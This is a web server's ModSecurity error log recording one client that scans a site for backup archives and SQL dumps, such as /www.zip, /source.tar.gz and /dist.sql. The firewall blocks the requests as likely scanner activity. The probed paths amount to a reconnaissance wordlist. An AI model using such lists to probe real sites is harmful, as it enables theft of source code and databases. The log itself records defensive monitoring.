[Fri May 15 09:55:06.129587 2026] [:error] [pid 1188:tid 1200] [client 34.97.8.90:42218] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/source.tar"] [unique_id "agZ8-tY68iW8yuNkNzPwRgAAAAM"]
[Fri May 15 09:55:07.102453 2026] [:error] [pid 51234:tid 51248] [client 34.97.8.90:42230] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/source.tar.bz2"] [unique_id "agZ8-972N9CbeiqcqgPSqwAAAUw"]
[Fri May 15 09:55:08.004088 2026] [:error] [pid 1190:tid 1259] [client 34.97.8.90:42232] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/source.tar.xz"] [unique_id "agZ8_NqiXrD7hne4gFbIZAAAAIc"]
[Fri May 15 09:55:08.851409 2026] [:error] [pid 50531:tid 50534] [client 34.97.8.90:42244] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/source.7z"] [unique_id "agZ8_B3WbFwE6voqGzrjiwAAAQE"]
[Fri May 15 09:55:09.671201 2026] [:error] [pid 1295:tid 1303] [client 34.97.8.90:42250] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/source.rar"] [unique_id "agZ8_dmMhqLvs0GYixkbBgAAAMU"]
[Fri May 15 09:55:10.419113 2026] [:error] [pid 1188:tid 1217] [client 34.97.8.90:42262] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/source.gz"] [unique_id "agZ8_tY68iW8yuNkNzPwSAAAABQ"]
[Fri May 15 09:55:11.218904 2026] [:error] [pid 50531:tid 50543] [client 34.97.8.90:42276] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/source.bz2"] [unique_id "agZ8_x3WbFwE6voqGzrjjAAAAQo"]
[Fri May 15 09:55:12.069466 2026] [:error] [pid 1188:tid 1220] [client 34.97.8.90:42292] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/source.zst"] [unique_id "agZ9ANY68iW8yuNkNzPwSgAAABc"]
[Fri May 15 09:55:12.854640 2026] [:error] [pid 1295:tid 1322] [client 34.97.8.90:42298] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/source.sql.gz"] [unique_id "agZ9ANmMhqLvs0GYixkbCgAAANg"]
[Fri May 15 09:55:13.643176 2026] [:error] [pid 1295:tid 1311] [client 34.97.8.90:42306] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/source.sql.bz2"] [unique_id "agZ9AdmMhqLvs0GYixkbDQAAAM0"]
[Fri May 15 09:55:14.492870 2026] [:error] [pid 1295:tid 1320] [client 34.97.8.90:42314] [client 34.97.8.90] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.agraphics.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.agraphics.com.au"] [uri "/source.sql"] [unique_id "agZ9AtmMhqLvs0GYixkbEAAAANY"]
[Fri May 15 09:55:24.458504 2026] [:error] [pid 51234:tid 51237] [client 34.97.8.90:45954] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/src.sql.gz"] [unique_id "agZ9DN72N9CbeiqcqgPSvAAAAUE"]
[Fri May 15 09:55:25.295416 2026] [:error] [pid 51234:tid 51242] [client 34.97.8.90:53194] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/src.sql.bz2"] [unique_id "agZ9Dd72N9CbeiqcqgPSvgAAAUY"]
[Fri May 15 09:55:26.156165 2026] [:error] [pid 1295:tid 1308] [client 34.97.8.90:53206] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/src.sql"] [unique_id "agZ9DtmMhqLvs0GYixkbGQAAAMo"]
[Fri May 15 09:55:27.079110 2026] [:error] [pid 1189:tid 1236] [client 34.97.8.90:53210] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www.zip"] [unique_id "agZ9Dwe36qIGegR4kcmAYAAAAEs"]
[Fri May 15 09:55:27.951848 2026] [:error] [pid 1190:tid 1270] [client 34.97.8.90:53218] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www.tar.gz"] [unique_id "agZ9D9qiXrD7hne4gFbIbwAAAJI"]
[Fri May 15 09:55:28.829483 2026] [:error] [pid 1189:tid 1247] [client 34.97.8.90:53228] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www.tgz"] [unique_id "agZ9EAe36qIGegR4kcmAYQAAAFY"]
[Fri May 15 09:55:29.698941 2026] [:error] [pid 51234:tid 51251] [client 34.97.8.90:53236] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www.tar"] [unique_id "agZ9Ed72N9CbeiqcqgPSwQAAAU8"]
[Fri May 15 09:55:30.598999 2026] [:error] [pid 51234:tid 51253] [client 34.97.8.90:53250] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www.tar.bz2"] [unique_id "agZ9Et72N9CbeiqcqgPSxAAAAVE"]
[Fri May 15 09:55:31.461907 2026] [:error] [pid 51234:tid 51249] [client 34.97.8.90:53258] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www.tar.xz"] [unique_id "agZ9E972N9CbeiqcqgPSxQAAAU0"]
[Fri May 15 09:55:32.186901 2026] [:error] [pid 51234:tid 51247] [client 34.97.8.90:53264] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www.7z"] [unique_id "agZ9FN72N9CbeiqcqgPSxwAAAUs"]
[Fri May 15 09:55:32.945789 2026] [:error] [pid 1189:tid 1228] [client 34.97.8.90:53268] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www.rar"] [unique_id "agZ9FAe36qIGegR4kcmAZQAAAEM"]
[Fri May 15 09:55:33.682088 2026] [:error] [pid 1190:tid 1263] [client 34.97.8.90:53280] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www.gz"] [unique_id "agZ9FdqiXrD7hne4gFbIdQAAAIs"]
[Fri May 15 09:55:34.402876 2026] [:error] [pid 1190:tid 1270] [client 34.97.8.90:53296] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www.bz2"] [unique_id "agZ9FtqiXrD7hne4gFbImAAAAJI"]
[Fri May 15 09:55:35.231946 2026] [:error] [pid 1295:tid 1320] [client 34.97.8.90:38992] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www.zst"] [unique_id "agZ9F9mMhqLvs0GYixkbIQAAANY"]
[Fri May 15 09:55:36.028270 2026] [:error] [pid 1295:tid 1302] [client 34.97.8.90:38998] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www.sql.gz"] [unique_id "agZ9GNmMhqLvs0GYixkbJAAAAMQ"]
[Fri May 15 09:55:36.893397 2026] [:error] [pid 1295:tid 1310] [client 34.97.8.90:39008] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www.sql.bz2"] [unique_id "agZ9GNmMhqLvs0GYixkbJQAAAMw"]
[Fri May 15 09:55:37.783628 2026] [:error] [pid 51234:tid 51244] [client 34.97.8.90:39016] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/www.sql"] [unique_id "agZ9Gd72N9CbeiqcqgPSzwAAAUg"]
[Fri May 15 09:55:38.686610 2026] [:error] [pid 50531:tid 50554] [client 34.97.8.90:39026] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/web.zip"] [unique_id "agZ9Gh3WbFwE6voqGzrjoAAAARU"]
[Fri May 15 09:55:39.638834 2026] [:error] [pid 1295:tid 1315] [client 34.97.8.90:39042] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/web.tar.gz"] [unique_id "agZ9G9mMhqLvs0GYixkbKQAAANE"]
[Fri May 15 09:55:40.444971 2026] [:error] [pid 1295:tid 1303] [client 34.97.8.90:39044] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/web.tgz"] [unique_id "agZ9HNmMhqLvs0GYixkbKwAAAMU"]
[Fri May 15 09:55:41.184832 2026] [:error] [pid 50531:tid 50543] [client 34.97.8.90:39060] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/web.tar"] [unique_id "agZ9HR3WbFwE6voqGzrjpAAAAQo"]
[Fri May 15 09:55:41.931454 2026] [:error] [pid 1188:tid 1213] [client 34.97.8.90:39072] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/web.tar.bz2"] [unique_id "agZ9HdY68iW8yuNkNzPwTQAAABA"]
[Fri May 15 09:55:42.661984 2026] [:error] [pid 1190:tid 1272] [client 34.97.8.90:39076] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/web.tar.xz"] [unique_id "agZ9HtqiXrD7hne4gFbIzAAAAJQ"]
[Fri May 15 09:55:43.366646 2026] [:error] [pid 1188:tid 1208] [client 34.97.8.90:39084] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/web.7z"] [unique_id "agZ9H9Y68iW8yuNkNzPwTgAAAAs"]
[Fri May 15 09:55:44.062701 2026] [:error] [pid 1189:tid 1232] [client 34.97.8.90:39100] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/web.rar"] [unique_id "agZ9IAe36qIGegR4kcmAbAAAAEc"]
[Fri May 15 09:55:44.823711 2026] [:error] [pid 51234:tid 51253] [client 34.97.8.90:41618] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/web.gz"] [unique_id "agZ9IN72N9CbeiqcqgPS0gAAAVE"]
[Fri May 15 09:55:45.572900 2026] [:error] [pid 1188:tid 1219] [client 34.97.8.90:41624] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/web.bz2"] [unique_id "agZ9IdY68iW8yuNkNzPwTwAAABY"]
[Fri May 15 09:55:46.365044 2026] [:error] [pid 51234:tid 51249] [client 34.97.8.90:41640] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/web.zst"] [unique_id "agZ9It72N9CbeiqcqgPS1AAAAU0"]
[Fri May 15 09:55:47.126026 2026] [:error] [pid 51234:tid 51246] [client 34.97.8.90:41646] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/web.sql.gz"] [unique_id "agZ9I972N9CbeiqcqgPS1QAAAUo"]
[Fri May 15 09:55:47.962904 2026] [:error] [pid 1188:tid 1216] [client 34.97.8.90:41662] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/web.sql.bz2"] [unique_id "agZ9I9Y68iW8yuNkNzPwUAAAABM"]
[Fri May 15 09:55:48.822775 2026] [:error] [pid 51234:tid 51252] [client 34.97.8.90:41676] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/web.sql"] [unique_id "agZ9JN72N9CbeiqcqgPS1wAAAVA"]
[Fri May 15 09:55:49.648185 2026] [:error] [pid 1189:tid 1236] [client 34.97.8.90:41690] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dist.zip"] [unique_id "agZ9JQe36qIGegR4kcmAbwAAAEs"]
[Fri May 15 09:55:50.458705 2026] [:error] [pid 1189:tid 1247] [client 34.97.8.90:41698] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dist.tar.gz"] [unique_id "agZ9Jge36qIGegR4kcmAcAAAAFY"]
[Fri May 15 09:55:51.264937 2026] [:error] [pid 51234:tid 51254] [client 34.97.8.90:41704] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dist.tgz"] [unique_id "agZ9J972N9CbeiqcqgPS2gAAAVI"]
[Fri May 15 09:55:52.002462 2026] [:error] [pid 1295:tid 1300] [client 34.97.8.90:41720] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dist.tar"] [unique_id "agZ9KNmMhqLvs0GYixkbMAAAAMI"]
[Fri May 15 09:55:52.745578 2026] [:error] [pid 1190:tid 1256] [client 34.97.8.90:41734] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dist.tar.bz2"] [unique_id "agZ9KNqiXrD7hne4gFbIzgAAAIQ"]
[Fri May 15 09:55:53.461900 2026] [:error] [pid 1189:tid 1225] [client 34.97.8.90:41748] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dist.tar.xz"] [unique_id "agZ9KQe36qIGegR4kcmAcgAAAEA"]
[Fri May 15 09:55:54.173545 2026] [:error] [pid 1189:tid 1230] [client 34.97.8.90:41758] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dist.7z"] [unique_id "agZ9Kge36qIGegR4kcmAdAAAAEU"]
[Fri May 15 09:55:54.879498 2026] [:error] [pid 51234:tid 51260] [client 34.97.8.90:58882] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dist.rar"] [unique_id "agZ9Kt72N9CbeiqcqgPS3AAAAVg"]
[Fri May 15 09:55:55.568012 2026] [:error] [pid 1190:tid 1268] [client 34.97.8.90:58890] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dist.gz"] [unique_id "agZ9K9qiXrD7hne4gFbI0AAAAJA"]
[Fri May 15 09:55:56.271965 2026] [:error] [pid 1190:tid 1252] [client 34.97.8.90:58904] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dist.bz2"] [unique_id "agZ9LNqiXrD7hne4gFbI0gAAAIA"]
[Fri May 15 09:55:57.010718 2026] [:error] [pid 1189:tid 1243] [client 34.97.8.90:58918] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dist.zst"] [unique_id "agZ9LQe36qIGegR4kcmAdgAAAFI"]
[Fri May 15 09:55:57.730899 2026] [:error] [pid 51234:tid 51244] [client 34.97.8.90:58924] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dist.sql.gz"] [unique_id "agZ9Ld72N9CbeiqcqgPS3QAAAUg"]
[Fri May 15 09:55:58.449118 2026] [:error] [pid 1189:tid 1229] [client 34.97.8.90:58940] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dist.sql.bz2"] [unique_id "agZ9Lge36qIGegR4kcmAdwAAAEQ"]
[Fri May 15 09:55:59.205951 2026] [:error] [pid 51234:tid 51258] [client 34.97.8.90:58944] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dist.sql"] [unique_id "agZ9L972N9CbeiqcqgPS3gAAAVY"]
